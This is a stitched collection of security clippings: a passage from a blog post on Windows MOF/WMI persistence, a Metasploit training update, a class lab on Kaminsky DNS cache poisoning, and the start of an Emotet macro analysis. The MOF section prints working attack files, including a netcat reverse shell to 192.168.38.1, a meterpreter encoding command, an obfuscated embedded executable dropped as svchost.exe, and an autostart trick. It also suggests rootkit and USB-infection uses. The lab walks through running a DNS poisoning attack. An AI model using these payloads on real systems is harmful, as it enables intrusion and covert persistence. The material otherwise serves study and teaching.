  8. "WHERE TargetInstance ISA \"Win32\_NTLogEvent\" AND "
  9. "TargetInstance.LogFile=\"Application\""; 
  10.   11. QueryLanguage = "WQL"; 
  12. \}; 
  13.   14. instance of ActiveScriptEventConsumer as $CONSUMER 
  15. \{ 
  16. Name = "CLASS\_FIRST\_TEST"; 
  17. ScriptingEngine = "VBScript"; 
  18.   19. ScriptText = 
  20. "Set objShell = CreateObject\(\"WScript.Shell\"\)\n"
  21. "objShell.Run \"C:\\\Windows\\\system32\\\cmd.exe /C C:\\\nc.exe 192.168.38.1 1337 -e C:\\\Windows\\\system32\\\cmd.exe\"\n"; 
  22. \}; 
  23.   24. instance of \_\_FilterToConsumerBinding 
  25. \{ 
  26. Consumer = $CONSUMER ; 
  27. Filter = $FILTER ; 
  28. \}; 

  
The example of use with netcat is taken from **\[15\]**.  
  
Maybe, some explanations are needed:  

  * Firstly, the event filter defines the WQL query corresponding to the filter. Once again, I've referred to the MSDN to build the query. In WMI, a Windows event is represented using the abstract class _\_\_Event_ , which has many different subclasses. Here we use _\_\_InstanceCreationEvent_ **\[13\]**.  

  * Secondly, in the consumer we must specify in ScriptingEngine that we want to use VBScript, and then, we just have to pass our script in ScriptText.  
  

  * Thirdly, we bind the filter and the consumer.

  
Okay, so in order to check our newly created MOF file, we just put it in the
directory %SystemRoot%\System32\wbem\mof\\. The instances are added into the
repository. And we can confirm that if we add a new log entry - here, coming
from a wrong login attempt on MS SQL - the executable nc.exe is started. It
runs with SYSTEM privilege, because I'm doing my tests on a Windows 2003
Server SP2:  
  

<img src='img/Temp2_6260.png' width='640' height='380' />

  
It looks interesting, but that would be great to embed directly a payload into
the MOF file. Let's see how to do this =\)  
  
  
**4\. Embed a payload into a MOF file**  
  
We have already seen that it's possible to put VBscript into an instance of
ActiveScriptEventConsumer. So, we can directly put our payload encoded in
VBScript \!  
For example, it is possible to use msfencode with the option -t vbs in order
to encode a shellcode in VBScript. Let's assume that we want to embed a
reverse\_tcp meterpreter \(fictive example\) into a MOF file, we can use the
following command:  
  

[code]

    msfpayload windows/meterpreter/reverse_tcp LHOST=<ip> R | msfencode 
    -e generic/none -t vbs
[/code]

  
And then, we just need to put the generated VBScript into our MOF file \(note
that it's necessary to escape all the quotes\):  
  

view plainprint?

  1. \#pragma namespace \("\\\\\\\\.\\\root\\\subscription"\)
  2.   3. instance of \_\_EventFilter as $FILTER 
  4. \{ 
  5. Name = "XPLOIT\_TEST\_SYSTEM"; 
  6. EventNamespace = "root\\\cimv2"; 
  7. Query = "SELECT \* FROM \_\_InstanceCreationEvent "
  8. "WHERE TargetInstance ISA \"Win32\_NTLogEvent\" AND "
  9. "TargetInstance.LogFile=\"Application\""; 
  10.   11. QueryLanguage = "WQL"; 
  12. \}; 
  13.   14. instance of ActiveScriptEventConsumer as $CONSUMER 
  15. \{ 
  16. Name = "XPLOIT\_TEST\_SYSTEM"; 
  17. ScriptingEngine = "VBScript"; 
  18.   19. ScriptText = "Function jcmNPtWMUEOI\(\) \n"
  20. "vURTl=Chr\(77\)&Chr\(90\)&Chr\(144\)&Chr\(0\)&Chr\(3\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(4\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(255\)&Chr\(255\)&Chr\(0\)&Chr\(0\)&Chr\(184\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(64\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(232\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(14\)&Chr\(31\)&Chr\(186\)&Chr\(14\)&Chr\(0\)&Chr\(180\)&Chr\(9\)&Chr\(205\)&Chr\(33\)&Chr\(184\)&Chr\(1\)&Chr\(76\)&Chr\(205\)&Chr\(33\)&Chr\(84\)&Chr\(104\)&Chr\(105\)&Chr\(115\)&Chr\(32\)&Chr\(112\)&Chr\(114\)&Chr\(111\)&Chr\(103\)&Chr\(114\)&Chr\(97\)&Chr\(109\)&Chr\(32\)&Chr\(99\)&Chr\(97\)&Chr\(110\)&Chr\(110\)&Chr\(111\)&Chr\(116\)&Chr\(32\)&Chr\(98\)&Chr\(101\) \n"
  21. // \[...\]
  22. "vURTl=vURTl&Chr\(0\)&Chr\(16\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(32\)&Chr\(0\)&Chr\(0\)&Chr\(96\)&Chr\(46\)&Chr\(114\)&Chr\(100\)&Chr\(97\)&Chr\(116\)&Chr\(97\)&Chr\(0\)&Chr\(0\)&Chr\(230\)&Chr\(15\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(192\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(16\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(192\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(64\)&Chr\(0\)&Chr\(0\)&Chr\(64\)&Chr\(46\)&Chr\(100\)&Chr\(97\)&Chr\(116\)&Chr\(97\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(92\)&Chr\(112\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(208\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(64\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(208\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(64\)&Chr\(0\)&Chr\(0\)&Chr\(192\) \n"
  23. "Dim eXmdsyLFEs \n"
  24. "Set eXmdsyLFEs = CreateObject\(\"Scripting.FileSystemObject\"\) \n"
  25. "Dim TxNAbBlYJ \n"
  26. "Dim OnzEldZtxrMeY \n"
  27. "Dim YzlWLAgbdcsRP \n"
  28. "Dim gpvFZLaXwIZzKCJ \n"
  29. "Set OnzEldZtxrMeY = eXmdsyLFEs.GetSpecialFolder\(2\) \n"
  30. "gpvFZLaXwIZzKCJ = OnzEldZtxrMeY & \"\\\\\" & eXmdsyLFEs.GetTempName\(\) \n"
  31. "eXmdsyLFEs.CreateFolder\(gpvFZLaXwIZzKCJ\) \n"
  32. "YzlWLAgbdcsRP = gpvFZLaXwIZzKCJ & \"\\\\\" & \"svchost.exe\" \n"
  33. "Set TxNAbBlYJ = eXmdsyLFEs.CreateTextFile\(YzlWLAgbdcsRP,2,0\) \n"
  34. "TxNAbBlYJ.Write vURTl \n"
  35. "TxNAbBlYJ.Close \n"
  36. "Dim VvLFolkbOsQvlf \n"
  37. "Set VvLFolkbOsQvlf = CreateObject\(\"Wscript.Shell\"\) \n"
  38. "VvLFolkbOsQvlf.run YzlWLAgbdcsRP, 0, true \n"
  39. "eXmdsyLFEs.DeleteFile\(YzlWLAgbdcsRP\) \n"
  40. "eXmdsyLFEs.DeleteFolder\(gpvFZLaXwIZzKCJ\) \n"
  41. "End Function \n"
  42. "jcmNPtWMUEOI \n"; 
  43. \}; 
  44.   45. instance of \_\_FilterToConsumerBinding 
  46. \{ 
  47. Consumer = $CONSUMER ; 
  48. Filter = $FILTER ; 
  49. \}; 

  
We can actually put any executable into a MOF file thanks to the possibility
to use VBScript.  
  
In some circumstances, we might have a problem with the previous MOF files
because the consumer isn't automatically started after its registration into
the WMI repository. We'll now see a trick that can be used to overcome this.  
  
  
**5\. Consumer autostart after MOF file registration**  
  
If we dig into the MSDN, we can see that the _\_\_InstanceCreationEvent_
class, that we have used so far in the WQL query, can be actually used to
filter on the instantiation of a new class into the WMI repository. The name
of the class in question must be given to TargetInstance.\_\_class.  
So, it is possible to use this feature to trigger the autostart of the
consumer. Let's see what looks like the new version of our MOF file:  
  

view plainprint?

  1. \#pragma namespace \("\\\\\\\\.\\\root\\\subscription"\)
  2.   3. class WoootClass 
  4. \{ 
  5. \[key\] 
  6. string Name; 
  7. \}; 
  8.   9. instance of \_\_EventFilter as $FILTER 
  10. \{ 
  11. Name = "XPLOIT\_TEST\_SYSTEM"; 
  12. EventNamespace = "root\\\subscription"; 
  13. Query = "SELECT \* FROM \_\_InstanceCreationEvent "
  14. "WHERE TargetInstance.\_\_class = \"WoootClass\""; 
  15.   16. QueryLanguage = "WQL"; 
  17. \}; 
  18.   19. instance of ActiveScriptEventConsumer as $CONSUMER 
  20. \{ 
  21. Name = "XPLOIT\_TEST\_SYSTEM"; 
  22. ScriptingEngine = "VBScript"; 
  23. ScriptText = "Function jcmNPtWMUEOI\(\) \n"
  24. "vURTl=Chr\(77\)&Chr\(90\)&Chr\(144\)&Chr\(0\)&Chr\(3\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(4\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(255\)&Chr\(255\)&Chr\(0\)&Chr\(0\)&Chr\(184\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(64\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(232\)&Chr\(0\)&Chr\(0\)&Chr\(0\)&Chr\(14\)&Chr\(31\)&Chr\(186\)&Chr\(14\)&Chr\(0\)&Chr\(180\)&Chr\(9\)&Chr\(205\)&Chr\(33\)&Chr\(184\)&Chr\(1\)&Chr\(76\)&Chr\(205\)&Chr\(33\)&Chr\(84\)&Chr\(104\)&Chr\(105\)&Chr\(115\)&Chr\(32\)&Chr\(112\)&Chr\(114\)&Chr\(111\)&Chr\(103\)&Chr\(114\)&Chr\(97\)&Chr\(109\)&Chr\(32\)&Chr\(99\)&Chr\(97\)&Chr\(110\)&Chr\(110\)&Chr\(111\)&Chr\(116\)&Chr\(32\)&Chr\(98\)&Chr\(101\) \n"
  25. // \[...\]
  26. "vURTl=vURTl&Chr\(98\)&Chr\(0\) \n"
  27. "Dim eXmdsyLFEs \n"
  28. "Set eXmdsyLFEs = CreateObject\(\"Scripting.FileSystemObject\"\) \n"
  29. "Dim TxNAbBlYJ \n"
  30. "Dim OnzEldZtxrMeY \n"
  31. "Dim YzlWLAgbdcsRP \n"
  32. "Dim gpvFZLaXwIZzKCJ \n"
  33. "Set OnzEldZtxrMeY = eXmdsyLFEs.GetSpecialFolder\(2\) \n"
  34. "gpvFZLaXwIZzKCJ = OnzEldZtxrMeY & \"\\\\\" & eXmdsyLFEs.GetTempName\(\) \n"
  35. "eXmdsyLFEs.CreateFolder\(gpvFZLaXwIZzKCJ\) \n"
  36. "YzlWLAgbdcsRP = gpvFZLaXwIZzKCJ & \"\\\\\" & \"svchost.exe\" \n"
  37. "Set TxNAbBlYJ = eXmdsyLFEs.CreateTextFile\(YzlWLAgbdcsRP,2,0\) \n"
  38. "TxNAbBlYJ.Write vURTl \n"
  39. "TxNAbBlYJ.Close \n"
  40. "Dim VvLFolkbOsQvlf \n"
  41. "Set VvLFolkbOsQvlf = CreateObject\(\"Wscript.Shell\"\) \n"
  42. "VvLFolkbOsQvlf.run YzlWLAgbdcsRP, 0, true \n"
  43. "eXmdsyLFEs.DeleteFile\(YzlWLAgbdcsRP\) \n"
  44. "eXmdsyLFEs.DeleteFolder\(gpvFZLaXwIZzKCJ\) \n"
  45. "End Function \n"
  46. "jcmNPtWMUEOI \n"; 
  47. \}; 
  48.   49. instance of \_\_FilterToConsumerBinding 
  50. \{ 
  51. Consumer = $CONSUMER ; 
  52. Filter = $FILTER ; 
  53. \}; 
  54.   55. instance of WoootClass 
  56. \{ 
  57. Name = "Woot"; 
  58. \}; 

  
As you can see, I have just added a new class called "WoootClass" at the
beginning of the MOF file. This class actually does nothing, but it is
instantiated. So after the registration into the WMI repository, this
instantiation will automatically trigger the filter, which will in turn
trigger the consumer containing our payload \!  
  
Therefore, this trick permits to automatically run the consumer. It can be
very useful in some situation when we don't want to wait for any Windows
event.  
  
  
**6\. Interest**  
  
It is important to remember that the MOF self-install directory is of course
only writeable by an Administrator. That's why, MOF files are really
interesting in two kinds of situations:  

  1. When we are able to upload a file to a remote machine, into an arbitrary destination path \(with Administrator privileges in order to be able to write into the MOF self-install directory\). This is the example of MS10-061 with _StartDocPrinter_ API.  
  

  2. In a post-exploitation context, when we have already escalated our privileges to Administrator on a Windows machine. 

  
The first situation is of course relatively rare. Nevertheless, it's
interesting to notice that Metasploit provides a function _generate\_mof\(\)_
in the file lib/msf/core/exploit/wbemexec.rb. This function uses the trick
described in this article to autostart the consumer. For example, it is used
by the exploit of MS10-061: exploits/windows/smb/ms10\_061\_spoolss
**\[13\]**.  
  
The psexec module \(modules/exploits/windows/smb/psexec\) also uses it when
MOF\_UPLOAD\_METHOD is selected, as we can see it the following code snippet:  

view plainprint?

  1. if datastore\['MOF\_UPLOAD\_METHOD'\] 
  2. \# payload as exe
  3. print\_status\("Trying wbemexec..."\) 
  4. print\_status\("Uploading Payload..."\) 
  5. if datastore\['SHARE'\] \!= 'ADMIN$'
  6. print\_error\('Wbem will only work with ADMIN$ share'\) 
  7. return
  8. end
  9. simple.connect\("ADMIN$"\) 
  10. filename = rand\_text\_alpha\(8\) + ".exe"
  11. exe = generate\_payload\_exe 
  12. fd = smb\_open\("\\\system32\\\\\#\{filename\}", 'rwct'\) 
  13. fd << exe 
  14. fd.close 
  15. print\_status\("Created %SystemRoot%\\\system32\\\\\#\{filename\}"\) 
  16.   17. \# mof to cause execution of above
  18. mofname = rand\_text\_alphanumeric\(14\) + ".MOF"
  19. mof = generate\_mof\(mofname, filename\) 
  20. print\_status\("Uploading MOF..."\) 
  21. fd = smb\_open\("\\\system32\\\wbem\\\mof\\\\\#\{mofname\}", 'rwct'\) 
  22. fd << mof 
  23. fd.close 
  24. print\_status\("Created %SystemRoot%\\\system32\\\wbem\\\mof\\\\\#\{mofname\}"\) 
  25.   26. \# Disconnect from the ADMIN$
  27. simple.disconnect\("ADMIN$"\) 

  
In a post-exploitation context, I think that MOF files can provide an original
way to hide malicious code into the WMI repository. The possibilities are
almost infinite because we can basically say: **" When \_this\_ event occurs,
just do \_that\_ \!"**. So, we can for example use MOF files with a backdoor
or a rootkit in order to:  
  

  * Automatically kill some processes as soon as they are launched \(anti-rootkits...\),
  * Automatically detect when the backdoor/rootkit has been deleted to load it again \(dropper\),
  * Automatically infect USB devices
  * ...

What is interesting here is that it shows how high level features provided by
the System can be abused by an attacker. Classes hidden into WMI repository
are not likely to be quickly detected because this technology is not so well-
known by users and it is rarely checked.  
  
However, it is still possible to detect malicious classes with a tool like
_WMI Object Browser_ from _WMI Administrative Tools_ **\[14\]** that permits
to explore the repository:  
  

  

<img src='img/Temp2_6264.png' width='640' height='430' />

  
Of course, giving class names that look apparently legitimate are likely to
trick some curious users =\)  
  
  
**References** ****  
  
**\[1\]** _W32.Stuxnet Dossier_ , by Symantec  
http://www.symantec.com/content/en/us/enterprise/media/security\_response/whitepapers/w32\_stuxnet\_dossier.pdf  
  
**\[2\]** _MS10-061 vulnerability in Windows Printer Spooler_ , MISC Magazine
issue \#53 \(french\), by ivanlef0u  
  
**\[3\]** _Microsoft Security Bulletin MS10-061_  
http://technet.microsoft.com/en-us/security/bulletin/MS10-061  
  
**\[4\]** _MS10-061: Printer Spooler vulnerability_  
http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-
vulnerability.aspx  
  
**\[5\]** _Windows Internals_ , book by Mark Russinovich & David Salomon  
  
**\[6\]** _\_\_EventFilter class_ , MSDN  
http://msdn.microsoft.com/en-us/library/aa394639%28v=vs.85%29.aspx  
  
**\[7\]** _Creating an Event Filter_ , MSDN  
http://msdn.microsoft.com/en-us/library/aa389741%28VS.85%29.aspx  
  
**\[8\]** _ActiveScriptEventConsumer class_ , MSDN  
http://msdn.microsoft.com/en-us/library/aa384749%28VS.85%29.aspx  
  
**\[9\]** _\_\_EventConsumer class_ , MSDN  
http://msdn.microsoft.com/en-us/library/aa394635  
  
**\[10\]** _\_\_FilterToConsumerBinding class_ , MSDN  
http://msdn.microsoft.com/en-us/library/aa394647%28v=VS.85%29.aspx  
  
**\[11\]** _Managed Object Format \(MOF\)_ , MSDN  
http://msdn.microsoft.com/en-us/library/aa823192%28VS.85%29.aspx  
  
**\[12\]** _Querying with WQL \(SQL for WMI\)_ , MSDN  
http://msdn.microsoft.com/en-us/library/aa392902%28v=VS.85%29.aspx  
  
**\[13\]** _exploits/windows/smb/ms10\_061\_spoolss code_ , Metasploit
Framework  
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/smb/ms10\_061\_spoolss.rb  
  
**\[14\]** _WMI Administrative Tool_ s, Microsoft  
http://www.microsoft.com/download/en/details.aspx?id=24045  
  
**\[15\]** _Newsletter HSC \#77, Article about MOF/WMI \(french\),_ by
Stephane Milani _\(sorry for forgetting\)_  
http://www.hsc-news.com/archives/2011/000078.html  
  
**Greetz to**  
@Heurs for the idea to dig into MS10-061 =\)

  *[15:45]: 2012-03-30T15:45:00+02:00

# MSFU Updates – November 2010

**Created:**| _11/18/2010 3:58:20 PM_  
---|---  
**Updated:**| _11/18/2010 3:58:33 PM_  
**Author:**| __  
**Tags:**| _Exploit Metasploit Tutorials_  
  

<img src='img/Temp2_5059.png' width='612' height='234' alt='msf updated offsec
MSFU Updates November 2010' />

This past month has been busy yet we have been steadily updating the free
Metasploit Unleashed Training course with the largest growing area being the
Module Reference section. This month has also seen updates to the Fast-Track
and Social-Engineer Toolkit sections of the wiki.

General Additions and Updates:

  * Added Basic Breadcrumb Navigation
  * Added Nessus Bridge Coverage
  * Added Fast-Track Autopwn Automation Coverage
  * Added Fast-Track Nmap Scripting Engine Coverage
  * Updated Fast-Track Sections with Updated Menus
  * Updated SET Section to Include Changes in Version 1.0

Additions to the Module Reference Section:

  * dcerpc/endpoint\_mapper
  * dcerpc/hidden
  * dcerpc/management
  * dcerpc/tcp\_dcerpc\_auditor discovery/arp\_sweep
  * discovery/ipv6\_neighbor
  * discovery/udp\_probe
  * discovery/udp\_sweep
  * smtp/smtp\_enum
  * smtp/smtp\_version
  * telnet/telnet\_login
  * telnet/telnet\_version
  * tftp/tftpbrute

As always, we ask that if you find this content useful, please consider making
a donation to Hackers for Charity to show your appreciation.

# CNIT 40 Proj 7: Performing the Kaminsky Attack \(15 pts.\)

**Created:**| _10/30/2013 8:36:40 AM_  
---|---  
**Updated:**| _10/30/2013 8:36:40 AM_  
**Author:**| __  
**Tags:**| _security people LOLZ_  
  

# **C** NIT 40 Proj 7: Performing the Kaminsky Attack \(15 pts******.**\)

## What You Need for This Project****

  * A Kali Linux virtual machine running Bind, which you prepared in a previous project**.**

## Purpose****

Perform the Kaminsky DNS cache poisoning attack on your vulnerable Windows
Server 2008 server**.**

## Testing your Windows Server 2008 DNS Server****

On your Windows Server 2008 machine, in a Command Prompt, execute this
command:

> **`nslookup samsclass.info 127**.** 0.0.1 `**
If it times out, try it again**.**

You should see replies, with two IPv4 and two IPv6 addresses, as shown below:

<img src='img/Temp2_1287.png' />

## Finding the Source Port****

The reason Server 2008 is vulnerable is lack of source port randomization**.**

To perform the attack, we need to know that source port**.**

It is possible to determine the port by running your own DNS server and making
it authoritatice over a real domain, then sniffing incoming traffic as queries
are made to the target server**.**

But in our test environment, it's simpler to just cheat and find the source
port from the server**.**

On the Windows Server 2008 machine, start Wireshark sniffing, and filter it
for **dns** traffic**.**

On your Windows Server 2008 machine, in a Command Prompt, execute this
command:

> **`nslookup yahoo.com 127**.** 0.0.1 `**
In Wireshark, stop the capturing**.**

In the upper pane of Wireshark, click on one of the DNS packets**.**

In the middle pane of Wireshark, expand the "**User Datagram Protocol** "
section**.**

Right-click on "**Source port** " and click "**Apply as Column** ", as shown
below:

<img src='img/Temp2_1284.png' />

Now you can see the Source Port values, as shown below**.**

There are only two values present: 53 and one other value**.** That other
value is the Source Port you need to perform the attack**.**

In the figure below, the Source Port is 52669**.**

Find your Source Port and make a note of it**.**

<img src='img/Temp2_1278.png' />

Start your Kali Linux machine**.**

In a Terminal window, execute this command, replacing the IP address with the
address of your Windows Server 2008 DNS server:

> **`dig @192**.** 168**.** 119.191 google.com `**
You should see IP addresses in the ANSWERS section, as shown below**.**

If you don't see replies, you need to troubleshoot your networking**.**

<img src='img/Temp2_1285.png' />

On your Kali Linux machine, in a Terminal window, execute this command:

> **`msfconsole`**
After a few minutes, Metasploit launches, as shown below:

<img src='img/Temp2_1281.png' />

In Metasploit, execute these commands:

> **`use auxiliary/spoof/dns/bailiwicked_host`**
> **`show options`**
A list of options appears, as shown below:

<img src='img/Temp2_1289.png' />

In Metasploit, execute these commands, making these two changes:

  * Replace the RHOST address with the address of your Windows Server 2008 DNS server 
  * Replace "YOURNAME" with your own name \(without any spaces\) in the HOSTNAME 
  * Replace the SRCPORT with the Source Port you found earlier with Wireshark 

> **`set RHOST 192**.** 168.119**.** 191 `**
> **`set HOSTNAME YOURNAME.google.com`**
> **``**
> **`set NEWADDR 199**.** 188**.** 72.153 `**
> **``**
> **`set SRCPORT 52669`**
> **``**
> **`set XIDS 50`**
> **``**
> **`run`**
When you see the message "Attempting to inject a poison record..**.** ", as
shown below, the attack is underway.

<img src='img/Temp2_1279.png' />

## Sniffing on the Target****

While the attack is proceeding, start Wireshark sniffing on the Windows 2008
Server target again**.**

Stop it after a couple of seconds.

Scroll till you see a query for a nonsensical host like
"**Pu8bgh0fqDTyjqSwo.google.com** " as shown below:

<img src='img/Temp2_1282.png' />

## Saving a Screen Image****

Click the taskbar at the bottom of your host Windows 7 desktop, to make the
host machine listen to the keyboard, instead of the virtual machine**.**

Make sure you can see at least one nonsensical host like
"**plRLnNOpz2W5.google.com** "**.**

Press the **PrintScrn** key in the upper-right portion of the keyboard**.**
That will copy the whole desktop to the clipboard.

**YOU MUST SUBMIT A FULL-DESKTOP IMAGE FOR FULL CREDIT**\!****

Paste the image into Paint and save it with the filename "**YOUR NAME Proj
7a** ", replacing "YOUR NAME" with your real name**.**

## Successful Attack****

When the attack succeeds, you should see the message "**Poisoning successful**
", as shown below**.**

<img src='img/Temp2_1280.png' />

On your Kali Linux machine, in a Terminal window, execute this command,
replacing the IP address with the address of your Windows Server 2008 DNS
server and "YOURNAME" with your name, as you did previously:

> **`dig @192**.** 168**.** 119.191 YOURNAME.google.com `**
It returns the address you specified earlier, 199**.** 188.72**.** 153, as
shown below.

<img src='img/Temp2_1290.png' />

## Changing the DNS Resolver****

On your Kali Linux machine, in a Terminal window, execute this command:

> **`nano /etc/resolv.conf`**
Change the IP address in this file to the IP addres of your Windows Server
2008 DNS server, as shown below**.**

<img src='img/Temp2_1286.png' />

Save the file with **Ctrl+X** , **Y** , **Enter****.**

On your Kali Linux machine, in a Terminal window, execute this command,
replacing "YOURNAME" with your name, as you did previously:

> **`dig YOURNAME.google.com`**
It returns the address you specified earlier, 199**.** 188.72**.** 153, as
shown below.

<img src='img/Temp2_1283.png' />

## Viewing the Spoofed Domain in IceWeasel****

In Kali Linux, at the upper left, click the round blue icon to open
IceWeasel**.**

In IceWeasel, go to this address:

http://YOURNAME.google.com

Although the address shows a server at google.com, the page is obviously not a
Google page, as shown below**.**

<img src='img/Temp2_1288.png' />

## Saving a Screen Image****

Click the taskbar at the bottom of your host Windows 7 desktop, to make the
host machine listen to the keyboard, instead of the virtual machine**.**

Make sure you can see **YOURNAME.google.com** in the address bar, and a page
that is obviously not Google, such as my page, as shown above**.**

Press the **PrintScrn** key in the upper-right portion of the keyboard**.**
That will copy the whole desktop to the clipboard.

**YOU MUST SUBMIT A FULL-DESKTOP IMAGE FOR FULL CREDIT**\!****

Paste the image into Paint and save it with the filename "**YOUR NAME Proj
7b** ", replacing "YOUR NAME" with your real name**.**

## Countermeasures****

Microsoft issued a patch for this vulnerability, so if you update your server
it will presumably stop being vulnerable:

http://technet.microsoft.com/en-us/security/bulletin/ms08-037

## Turning In Your Project****

Email the images to me as an attachments to an e-mail message**.** Send it to:
**cnit.40@gmail.com** with a subject line of "**Proj 7 From YOUR NAME** ",
replacing "YOUR NAME" with your real name**.**

Send a Cc to yourself.

## Sources****

http://www.caughq.org/exploits/CAU-EX-2008-0002.txt

DNS Cache Poisoning Demo \(YouTube\)

http://technet.microsoft.com/en-us/security/bulletin/ms08-037

* * *
Last modified 4:23 pm 10-29-13 ****

# DISSECTING VBA MACROS – PART 1 OF 2

**Created:**| _5/28/2017 11:09:59 AM_  
---|---  
**Updated:**| _5/28/2017 11:15:40 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis phishing macros_  
  

  

Countercept / Our Thinking / DISSECTING VBA MACROS – PART 1 OF 2  

  

DISSECTING VBA MACROS – PART 1 OF 2

  

Using static analysis to dissect malicious office macros

Posted on 23 May 2017

  

‹ More articles

Phishing with malicious attachments has been the main delivery method that
attackers use to compromise user endpoints for several years. All it takes is
just one victim to fall for a phishing attack and the possibility of the
attackers gaining a foothold inside the victim’s network rises significantly.

  

<img src='img/Temp2_1832.png' alt='Dissecting VBA macros 1' />

  

_Source: Verizon 2017 DBIR\*_

  

Considering the successful rate of phishing attacks, there are a variety of
different types of attachments usually used to deliver a malicious payload,
such as executable files, office documents embedded with macros, or programs
written in Java or JavaScript.

  

In this post, we are going to focus on office documents with embedded macros.
Often, an efficient first step is to use a dynamic analysis sandbox to study
the behavior of the malware. However, static analysis is also a useful
technique and this post will demonstrate the use of “olevba” for static
analysis, a script to parse OLE and OpenXML files that was created by
Decalage.

  

  

The sample

  

For this post, we are going to use a sample that was delivered through
phishing that is related to the Emotet malware.

  

<img src='img/Temp2_1828.png' alt='Dissecting VBA macros 2 3' />

  

Analyzing the streams of the OLE file

  

Running the olevba tool allows you to extract all VBA macros found in the
streams of the OLE container:

  

<img src='img/Temp2_1827.png' alt='Dissecting VBA macros 4' />

  

<img src='img/Temp2_1831.png' alt='Dissecting VBA macros 4b' />

Malicious macros are usually obfuscated to make signature detection more
difficult and generally make analysis more time consuming. Often, a key
objective is to quickly discover if there is a remote command and control
channel that the macro will connect to and/or a command that the macro will
execute.

  

We will start by analyzing the first stream:

  

<img src='img/Temp2_1836.png' alt='Dissecting VBA macros 5' />

The AutoOpen\(\) function is a built-in macro function that runs when the
document is opened. From analysis of the code, it is clear that some of the
code is unnecessary but that it concludes by calling the “l2B9S” function at
the end of the subroutine.

  

<img src='img/Temp2_1824.png' alt='Dissecting VBA macros 6' />

The function l2B9S can be found in Module3, which also contains more
unnecessary code due to obfuscation techniques and is intended to frustrate
analysis. However, further analysis of the code in Module3 reveals a call to
another function named “EUwBq”.

  

<img src='img/Temp2_1833.png' alt='Dissecting VBA macros 7' />

The “EuwBG” function can be traced back to Module4 and contains some more
interesting functionality than we have not seen until now:

  

<img src='img/Temp2_1829.png' alt='Dissecting VBA macros 8' />

Apart from the noise \(unnecessary code\), there are references to base64 and
additionally a base64 encoded string, which may contain interesting data. This
is concatenated with some other variables to form a larger string.

  

<img src='img/Temp2_1826.png' alt='Dissecting VBA macros 9' />

Tracing the variables, we then find later that this is then concatenated into
an even larger string with a number of other variables, as shown below:

  

<img src='img/Temp2_1834.png' alt='Dissecting VBA macros 10' />

Tracing it further brings us back to Module3, which calls a Shell function
that is used to execute a command on the system:

  

<img src='img/Temp2_1825.png' alt='Dissecting VBA macros 11' />

This certainly looks highly suspicious and is likely the end goal of the macro
payload. Generally, base64 encoded strings along with a combination of string
concatenation is used as an obfuscation technique to hide what commands are
being executed by the macro.

  

With further analysis, we can summarize the following key components of the
payload:

  * AutoOpen\(\)  is used to load the payload on document open, which is calling the 12B9S function.<img src='img/Temp2_1835.png' alt='Dissecting VBA macros 12' />

  

  

  

  

  * 12B9S\(\) is the main function using the Shell function to execute a system command and that calls functions from other modules.<img src='img/Temp2_1823.png' alt='Dissecting VBA macros 13' />

  

  

  

  

  * twpbFK is the payload that is essentially split up into multiple base64 encoded chunks.<img src='img/Temp2_1841.png' alt='Dissecting VBA macros 14' /><img src='img/Temp2_1837.png' alt='Dissecting VBA macros 14b' />

  

  

  

  

  

  * ASVQLWow is the decode function.<img src='img/Temp2_1830.png' alt='Dissecting VBA macros 15' />

  

  

After the base64 encoded payload is pieced together and then decoded, it
results in the following command being executed:

  

